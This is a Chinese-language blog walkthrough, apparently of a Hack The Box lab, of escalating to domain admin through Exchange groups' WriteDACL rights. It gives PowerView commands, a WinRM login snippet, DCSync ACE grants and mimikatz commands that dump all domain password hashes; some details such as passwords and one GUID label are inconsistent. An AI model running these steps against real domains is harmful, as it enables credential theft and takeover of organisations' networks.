投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

前言

在域环境中，如果安装Exchange后，系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限，就能够继承用户组的WriteDACL权限，WriteDACL权限可以修改域对象的ACL，最终实现利用DCSync导出域内所有用户hash。

利用条件

获取属组为一下三个组的任意用户

Microsoft Exchange Security Groups

Exchange Trusted Subsystem

Exchange Windows Permission

实验

1、通过bloodhound分析出来如下图所示

通过上图可以清晰的看到，用户所属的组对

EXCHANGE WINDOWS PERMISSIONS 组拥有所有的权限，而EXCHANGE WINDOWS PERMISSIONS 对域有有writedacl的权限，因此可以通过 域渗透——使用Exchange服务器中特定的ACL实现域提权，的思路来提权。通过DCSync来提权，EXCHANGE WINDOWS PERMISSIONS组内的用户，可以对任意用户修改acl权限

2、创建用户用户

$UserPassword =

ConvertTo-SecureString '123456qazwsx' -AsPlainText -Force

New-DomainUser -SamAccountName one -Description

'This is one' -AccountPassword $UserPassword

修改用户密码：Set-DomainUserPassword -Identity

harmj0y2 -AccountPassword $UserPassword

3、将新建用户加入到EXCHANGE WINDOWS PERMISSIONS组，并且允许远程登录

Add-DomainGroupMember -Identity

'EXCHANGEWINDOWS PERMISSIONS' -Members 'one'

Add-DomainGroupMember -Identity 'Remote Management Users' -Members 'one'

4、使用one用户通过winrm_shell.rb用户远程登录

require 'winrm'

conn = WinRM::Connection.new(

endpoint: 'http://10.10.10.161:5985/wsman',

user: 'htb.local\one',

password: '1234qwer',)

5、利用DCSync导出hash

于是one用户可以对自己添加三条ACE(Access Control Entries)：使其获得DCSync导出的权限，正常情况下，如果获得了以下三个组内任意用户的权限，都能够利用DCSync导出域内所有用户hash组名如下：

Exchange Trusted Subsystem

Exchange Windows Permission

Organization Management

向域内的一个普通用户添加如下三条ACE(Access Control Entries)：

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限

6、添加ACE的命令如下：

Add-DomainObjectAcl -TargetIdentity

"DC=htb,DC=local" -PrincipalIdentity one -Rights DCSync -Verbose

7、再次退出重新登录

(1)导出administrator的hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /user:administrator /csv" exit

(2)通过以下命令导出所有用户hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /all /csv" exit